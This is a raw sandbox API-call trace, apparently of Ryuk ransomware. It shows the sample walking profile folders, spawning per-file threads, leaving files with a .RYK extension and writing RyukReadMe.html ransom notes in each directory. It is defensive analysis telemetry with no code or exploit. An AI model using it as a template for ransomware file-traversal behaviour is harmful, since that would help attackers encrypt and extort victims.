	[0260.815] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5667d9b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5667d9b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0260.815] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5667d9b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5667d9b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0260.816] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0260.816] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="fwlink[1].RYK", cAlternateFileName="FWLINK~1.RYK")) returned 1
	[0260.816] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0260.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c8
	[0260.823] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.823] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0x52d90010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="ieonline.microsoft[1]", cAlternateFileName="IEONLI~1.MIC")) returned 1
	[0260.823] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0260.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8cc
	[0260.829] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.829] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0x52d90010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="ieonline.microsoft[1]", cAlternateFileName="IEONLI~1.MIC")) returned 0
	[0260.829] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0260.830] SetLastError (dwErrCode=0x0) 
	[0260.830] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\kqmhsvkd\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c4
	[0260.834] GetLastError () returned 0x0
	[0260.834] WriteFile (in: hFile=0x8c4, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0260.837] CloseHandle (hObject=0x8c4) returned 1
	[0260.837] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54af7b50, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x54af7b50, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x54b1dcb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0260.837] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54af7b50, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x54af7b50, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x54b1dcb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0260.837] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0260.838] SetLastError (dwErrCode=0x0) 
	[0260.838] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0260.838] GetLastError () returned 0xb7
	[0260.838] CloseHandle (hObject=0x858) returned 1
	[0260.838] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5660b590, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5660b590, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1
	[0260.838] SetLastError (dwErrCode=0x0) 
	[0260.838] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0260.839] GetLastError () returned 0xb7
	[0260.839] CloseHandle (hObject=0x858) returned 1
	[0260.839] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5660b590, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5660b590, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0260.839] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5660b590, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5660b590, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0260.840] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4d3ccdf0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x3c1f2, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="FRMCACHE.DAT.RYK", cAlternateFileName="FRMCAC~1.RYK")) returned 1
	[0260.840] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0260.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c4
	[0260.842] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.842] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x557e92f0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x557e92f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x557e92f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0260.842] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x557e92f0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x557e92f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x557e92f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0260.842] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0260.843] SetLastError (dwErrCode=0x0) 
	[0260.843] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\forms\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0260.843] GetLastError () returned 0xb7
	[0260.843] CloseHandle (hObject=0x858) returned 1
	[0260.843] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x557e92f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x557e92f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="IME12", cAlternateFileName="")) returned 1
	[0260.843] SetLastError (dwErrCode=0x0) 
	[0260.843] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0260.844] GetLastError () returned 0xb7
	[0260.844] CloseHandle (hObject=0x858) returned 1
	[0260.844] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IME12\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x557e92f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x557e92f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0260.844] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x557e92f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x557e92f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0260.845] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x557e92f0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x557e92f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x557e92f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0260.845] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x557e92f0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x557e92f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x557e92f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0260.845] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0260.845] SetLastError (dwErrCode=0x0) 
	[0260.845] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IME12\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ime12\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0260.845] GetLastError () returned 0xb7
	[0260.845] CloseHandle (hObject=0x858) returned 1
	[0260.846] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x5580f450, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5580f450, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="IMJP12", cAlternateFileName="")) returned 1
	[0260.846] SetLastError (dwErrCode=0x0) 
	[0260.846] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0260.846] GetLastError () returned 0xb7
	[0260.846] CloseHandle (hObject=0x858) returned 1
	[0260.846] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP12\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x5580f450, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5580f450, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0260.847] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x5580f450, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5580f450, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0260.847] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5580f450, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5580f450, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5580f450, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0260.847] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5580f450, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5580f450, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5580f450, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0260.847] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0260.848] SetLastError (dwErrCode=0x0) 
	[0260.848] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP12\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\imjp12\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0260.848] GetLastError () returned 0xb7
	[0260.848] CloseHandle (hObject=0x858) returned 1
	[0260.848] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x5580f450, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5580f450, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="IMJP8_1", cAlternateFileName="")) returned 1
	[0260.848] SetLastError (dwErrCode=0x0) 
	[0260.849] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0260.849] GetLastError () returned 0xb7
	[0260.849] CloseHandle (hObject=0x858) returned 1
	[0260.849] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP8_1\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x5580f450, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5580f450, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0260.849] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x5580f450, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5580f450, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0260.850] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5580f450, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5580f450, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5580f450, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0260.850] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5580f450, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5580f450, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5580f450, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0260.850] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0260.850] SetLastError (dwErrCode=0x0) 
